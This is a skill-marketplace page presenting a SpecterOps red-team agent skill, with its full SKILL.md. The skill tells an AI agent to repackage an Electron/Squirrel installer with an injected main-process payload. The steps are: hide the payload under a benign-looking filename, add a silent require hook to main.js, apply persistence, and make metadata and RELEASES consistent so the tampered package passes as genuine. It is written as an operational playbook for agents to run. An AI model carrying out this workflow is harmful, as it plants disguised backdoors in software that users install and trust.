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Agent skill

Electron Squirrel Repackage

by SpecterOps in SpecterOps/skills

Repackage a newer Electron app into an older Squirrel-style delivery chain while injecting a main-process payload.

Apache-2.0Auto-check passed

Install Electron Squirrel Repackage

skills CLI
$ npx skills add SpecterOps/skills --skill electron-squirrel-repackage -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install SpecterOps/skills electron-squirrel-repackage --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/SpecterOps/skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/plugins/payloads/skills/electron-squirrel-repackage .claude/skills/electron-squirrel-repackage && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
electron-squirrel-repackage
GitHub stars
702
Token cost
~450 tokens
SKILL.md length
189 words
Files
4 (incl. assets)
Skills in repo
38
Repo updated
First seen
Licence
Apache-2.0

At a glance

Repackage a newer Electron app into an older Squirrel-style delivery chain while injecting a main-process payload.

  • Works in 7 steps: Start from the newer Electron package,… → Work in the unpacked app directory (for… → Copy the payload into the app directory… → …
  • Staging a benignly named payload
  • SKILL.md covers Inputs, Workflow, Output and Do Not
  • Instructions only: no scripts, shell commands, URLs or credentials in SKILL.md

What it does

Electron Squirrel Repackage is an agent skill from SpecterOps/skills. Repackage a newer Electron app into an older Squirrel-style delivery chain while injecting a main-process payload. Use when staging a benignly named payload, hooking main.js, normalizing metadata, and regenerating RELEASES.

Its SKILL.md is about 450 tokens, which your agent loads only when the skill is triggered. The skill folder holds 5 other files, including assets (for example `agents/openai.yaml`).

It works with Electron. The repository describes itself as: A marketplace for LLM skills. The licence is Apache-2.0.

When your agent uses it

  • Staging a benignly named payload
  • Hooking main.js
  • Normalizing metadata
  • Regenerating RELEASES

Example prompts

  • “/electron-squirrel-repackage”

Workflow steps

7 steps, taken from the first numbered list in SKILL.md.

  1. Start from the newer Electron package, not an older app.asar build if the payload needs newer Electron/Node behavior.
  2. Work in the unpacked app directory (for example lib/net45/resources/app/).
  3. Copy the payload into the app directory under a benign application-like filename.
  4. Prepend the main-process hook early in main.js
  5. Reuse the install/persistence pattern from electron-install-persistence when the app must remain alive after install.
  6. Normalize metadata for the target delivery chain
  7. Repack the package and regenerate

What it can do on your machine

Read from SKILL.md and the folder at commit e655f93. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    No scripts in the folder and no shell commands in SKILL.md (its code samples are javascript).

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    No URLs in SKILL.md.

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Electron Squirrel Repackage loads about 450 tokens when it runs. Until then it costs about 63 tokens; SKILL.md has 189 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~63
When it runs · the whole SKILL.md, loaded when a task matches
~450

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from SpecterOps/skills at commit e655f93, republished under its Apache-2.0 licence (© SpecterOps). 189 words, ~450 tokens.

Download SKILL.mdSave it as .claude/skills/electron-squirrel-repackage/SKILL.md (or your agent's skills folder). This skill also uses 3 other files; get the full folder from GitHub.
name
electron-squirrel-repackage
description
Repackage a newer Electron app into an older Squirrel-style delivery chain while injecting a main-process payload. Use when staging a benignly named payload, hooking main.js, normalizing metadata, and regenerating RELEASES.
metadata.author
GhostWorks

Electron Squirrel Repackage

Use this skill when rebuilding a working Electron payload chain for a new payload file against a newer Electron runtime.

Inputs

  • path to the payload JS file
  • path to the newer Electron app package or .nupkg
  • output working directory
  • target delivery version/filename when an older chain must be preserved

Workflow

  1. Start from the newer Electron package, not an older app.asar build if the payload needs newer Electron/Node behavior.
  2. Work in the unpacked app directory (for example lib/net45/resources/app/).
  3. Copy the payload into the app directory under a benign application-like filename.
  4. Prepend the main-process hook early in main.js:
    js
    try { require('./<benign-name>.js') } catch (e) {}
  5. Reuse the install/persistence pattern from electron-install-persistence when the app must remain alive after install.
  6. Normalize metadata for the target delivery chain:
    • output filename
    • nuspec/app version fields
    • package metadata consistency
  7. Repack the package and regenerate:
    text
    <sha1> <filename> <size>

Output

Always report:

  • final package path
  • final RELEASES line
  • benign payload filename used
  • files modified
  • which persistence/install strategy was applied

Do Not

  • switch back to an older app.asar build when newer Electron is required
  • leave filename, metadata, and RELEASES out of sync
  • do ZIP/LNK delivery packaging unless explicitly requested

© SpecterOps, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

SKILL.md and 3 other files (assets) in plugins/payloads/skills/electron-squirrel-repackage of SpecterOps/skills.

  • SKILL.md
  • agents/openai.yaml
  • assets/icon.png
  • assets/icon.svg

Open the folder on GitHubat commit e655f93

Compare with similar skills

Electron Squirrel Repackage next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Electron Squirrel Repackage compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Electron Squirrel Repackage this skillSpecterOps/skills702—~450Automated safety check: PassApache-2.0
Electron App Automationvercel-labs/agent-browser44k5 repos~1.7kAutomated safety check: PassApache-2.0
Mailspring App ScreenshotsFoundry376/Mailspring18k—~1.5kAutomated safety check: PassGPL-3.0
AO Desktop App LauncherOrchestratorInc/agent-orchestrator13k—~2.4kAutomated safety check: PassApache-2.0
Desktop ElectronOpenHands/OpenHands90k—~302Automated safety check: PassMIT
Tinyjstarwin/tinyjsapp678—~2.9kAutomated safety check: PassMIT

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Works with

Questions about Electron Squirrel Repackage

What does Electron Squirrel Repackage do?

Repackage a newer Electron app into an older Squirrel-style delivery chain while injecting a main-process payload. Electron Squirrel Repackage is an agent skill from SpecterOps/skills. Repackage a newer Electron app into an older Squirrel-style delivery chain while injecting a main-process payload.

When should I use Electron Squirrel Repackage?

Electron Squirrel Repackage fits situations like: staging a benignly named payload; hooking main.js; normalizing metadata; regenerating RELEASES.

How do I install Electron Squirrel Repackage in Claude Code?

Run `npx skills add SpecterOps/skills --skill electron-squirrel-repackage -a claude-code`. Or copy the skill folder (plugins/payloads/skills/electron-squirrel-repackage in SpecterOps/skills) into .claude/skills/electron-squirrel-repackage in your project. Claude Code loads it when a task matches its description.

How do I install Electron Squirrel Repackage in Codex?

Run `npx skills add SpecterOps/skills --skill electron-squirrel-repackage -a codex`. Or copy the skill folder (plugins/payloads/skills/electron-squirrel-repackage in SpecterOps/skills) into .agents/skills/electron-squirrel-repackage in your project. Codex loads it when a task matches its description.

Can I use Electron Squirrel Repackage in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add SpecterOps/skills --skill electron-squirrel-repackage -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/electron-squirrel-repackage, .gemini/skills/electron-squirrel-repackage, .github/skills/electron-squirrel-repackage and .opencode/skills/electron-squirrel-repackage in your project.

What does Electron Squirrel Repackage need to run?

SKILL.md names no scripts, command-line tools or credentials: Electron Squirrel Repackage is instructions for the agent only.

Does Electron Squirrel Repackage access the network?

SKILL.md contains no URLs. Any network use would come from the scripts or tools the agent runs. This is read from the text; nothing was executed.

Is Electron Squirrel Repackage safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.

What licence does Electron Squirrel Repackage use?

Electron Squirrel Repackage is published under the Apache-2.0 licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Electron Squirrel Repackage use?

About 450 tokens (SKILL.md is roughly 1.8k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Electron Squirrel Repackage?

Skills that share tags, products or a category with Electron Squirrel Repackage: Electron App Automation (vercel-labs/agent-browser, 44k stars), Mailspring App Screenshots (Foundry376/Mailspring, 18k stars), AO Desktop App Launcher (OrchestratorInc/agent-orchestrator, 13k stars) and Desktop Electron (OpenHands/OpenHands, 90k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Electron Squirrel Repackage?

SpecterOps (a GitHub organization) maintains it in SpecterOps/skills, which has 702 GitHub stars. The repository holds 38 skills in this directory. The repository was last updated on September 23, 2026.

Source: SpecterOps/skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.